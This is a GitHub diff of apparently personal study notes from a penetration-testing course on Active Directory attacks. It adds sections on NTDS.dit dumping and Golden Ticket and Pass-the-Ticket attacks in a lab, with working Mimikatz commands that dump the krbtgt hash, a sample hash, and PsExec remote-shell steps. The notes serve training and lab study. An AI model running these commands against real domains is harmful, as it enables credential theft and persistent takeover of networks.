You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: peh/4-active-directory/4-ad-attacks.md
+168-6
Original file line number
Diff line number
Diff line change
@@ -127,7 +127,7 @@ For mitigation:
127
127
128
128
## Kerberoasting
129
129
130
-
**Kerberoasting** is a post-exploitation attack technique that attempts to obtain a password hash of an Active Directory account that has a **SPN** (Service Principal Name), focusing on the acquisition of **TGS** (Ticket Granting Server) tickets issued by the **KDC** (Key Distribution Center).
130
+
➡️ **Kerberoasting** is a post-exploitation attack technique that attempts to obtain a password hash of an Active Directory account that has a **SPN** (Service Principal Name), focusing on the acquisition of **TGS** (Ticket Granting Server) tickets issued by the **KDC** (Key Distribution Center).
131
131
132
132
### GetUserSPNs.py
133
133
@@ -165,9 +165,9 @@ For mitigation:
165
165
166
166
---
167
167
168
-
## Token Impersonation
168
+
## Token impersonation
169
169
170
-
Tokens are temporary keys that provide access to a system or network without needing to repeatedly input credentials, similar to how cookies work.
170
+
➡️ Tokens are temporary keys that provide access to a system or network without needing to repeatedly input credentials, similar to how cookies work.
171
171
172
172
-**Delegate** - created for logging into machine or Remote Desktop
173
173
-**Impersonate** - non-interactive
@@ -239,7 +239,7 @@ For mitigation:
239
239
240
240
---
241
241
242
-
## LNK File Attack
242
+
## LNK File attack
243
243
244
244
An attacker can place a malicious file in a shared folder, and when triggered, it captures password hashes using a tool like Responder, similar to a **watering hole attack** where a compromised website delivers malware that can drop such files onto a target's network.
The Group Policy Preferences (**GPP**) allowed admins to create policies with embedded credentials.
284
+
➡️ The Group Policy Preferences (**GPP**) allowed admins to create policies with embedded credentials.
285
285
286
286
- credentials were encrypted and stored in the **cPassword** field
287
287
-**encryption key** was leaked, making it possible to decrypt stored credentials
@@ -375,3 +375,165 @@ sekurlsa::logonPasswords
375
375
376
376
---
377
377
378
+
## 📌 Post-Domain Compromise Actions
379
+
380
+
Once the domain is owned:
381
+
382
+
-**Maximize value for the client:**
383
+
- Repeat the process for verification
384
+
- Dump `NTDS.dit` and crack passwords
385
+
- Enumerate shares for sensitive data
386
+
-**Maintain persistence:**
387
+
- Plan for lost **Domain Admin (DA) access**
388
+
- Create a temporary **DA account** (remember to delete it)
389
+
- Use a **Golden Ticket** if needed
390
+
391
+
---
392
+
393
+
## Dumping NTDS.dit
394
+
395
+
➡️ `NTDS.dit` is the Active Directory database file used by Microsoft Windows Domain Controllers (**DCs**). It stores critical domain information, including:
396
+
397
+
- User and computer accounts
398
+
- Password hashes
399
+
- Group memberships and permissions
400
+
401
+
It is important because:
402
+
403
+
- it contains NTLM & Kerberos password hashes, making it a prime target for attackers
404
+
- if dumped using tools like `Mimikatz` or `secretsdump.py`, attackers can crack hashes and gain **Domain Admin access**
405
+
- it enables **privilege escalation** and **persistent access** (`e.g.` Golden Ticket attacks).
➡️ A **Golden Ticket attack** is a **Kerberos** authentication exploit that allows an attacker to generate forged **TGTs** (Ticket Granting Tickets), granting them **persistent** and **unrestricted access** to an Active Directory (AD) environment.
467
+
468
+
1.**Obtain the KRBTGT Hash** – The attacker dumps the **KRBTGT account**'s NTLM hash from the **NTDS.dit** database on a domain controller.
469
+
2.**Forge a TGT** – Using `Mimikatz`, the attacker crafts a fake Kerberos TGT, setting any username, groups, or privileges.
470
+
3.**Gain Domain Access** – The forged ticket is used (via **Pass-the-Ticket** attack) to request service tickets (**TGS**), allowing access to any resource without authentication expiration.
471
+
4.**Persistence** – The ticket remains valid even if passwords change, as long as the KRBTGT hash is not reset twice.
472
+
473
+
> ❗ When `KRBTGT` (Kerberos Ticket Granting Ticket) account is compromised, the attacker owns the domain.
474
+
475
+
### Pass the Ticket - mimikatz
476
+
477
+
📌 Turn on `THEPUNISHER` (`192.168.31.93`) and `HYDRA-DC` (`192.168.31.90`) VMs.
478
+
479
+
- Download `Mimikatz` on the Domain Controller VM
480
+
- Run `cmd` as admin on the `HYDRA-DC`. Proceed to forging a golden ticket with `Mimikatz`
481
+
482
+
```bash
483
+
cd"C:\Users\fcastle\Downloads\mimikatz_trunk\x64"
484
+
mimikatz.exe
485
+
486
+
# Commands
487
+
privilege::debug
488
+
489
+
lsadump::lsa /inject /name:krbtgt
490
+
```
491
+
492
+
- Get the Domain SID and NTLM hash of the `krbtgt` account from the output
493
+
494
+
```bash
495
+
S-1-5-21-1796002695-2329991732-2223296958
496
+
21a84dbb8f81aa02316606b488a4a9eb
497
+
```
498
+
499
+
- Back in `Mimikatz`, generate the **golden ticket**
The attacker can use the forged ticket to access Kerberos-integrated resources. Since the TGT is signed and encrypted with the legitimate KRBTGT password hash, domain controllers recognize it as valid authentication. As a result, the domain controller issues **Ticket Granting Service (TGS)** tickets based on the forged TGT.
511
+
512
+
- To open a session with the generated golden ticket:
513
+
514
+
```bash
515
+
misc::cmd
516
+
```
517
+
518
+
```bash
519
+
# In the new CMD, run privileged commands
520
+
dir \\THEPUNISHER\c$
521
+
```
522
+
523
+
-[Download](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec) and use `psexec.exe` to run attacks against other computers or get a remote shell on them
524
+
525
+
```bash
526
+
cd"C:\Users\tstark\Downloads\PSTools>"
527
+
PsExec.exe \\THEPUNISHER cmd.exe
528
+
529
+
hostname
530
+
```
531
+
532
+

533
+
534
+
`Impacket` from the Kali VM can be used too for the Pass the Ticket attack using `secretdump.py `, `lookupsid.py`, `ticketer.py`, `psexec.py`.
0 commit comments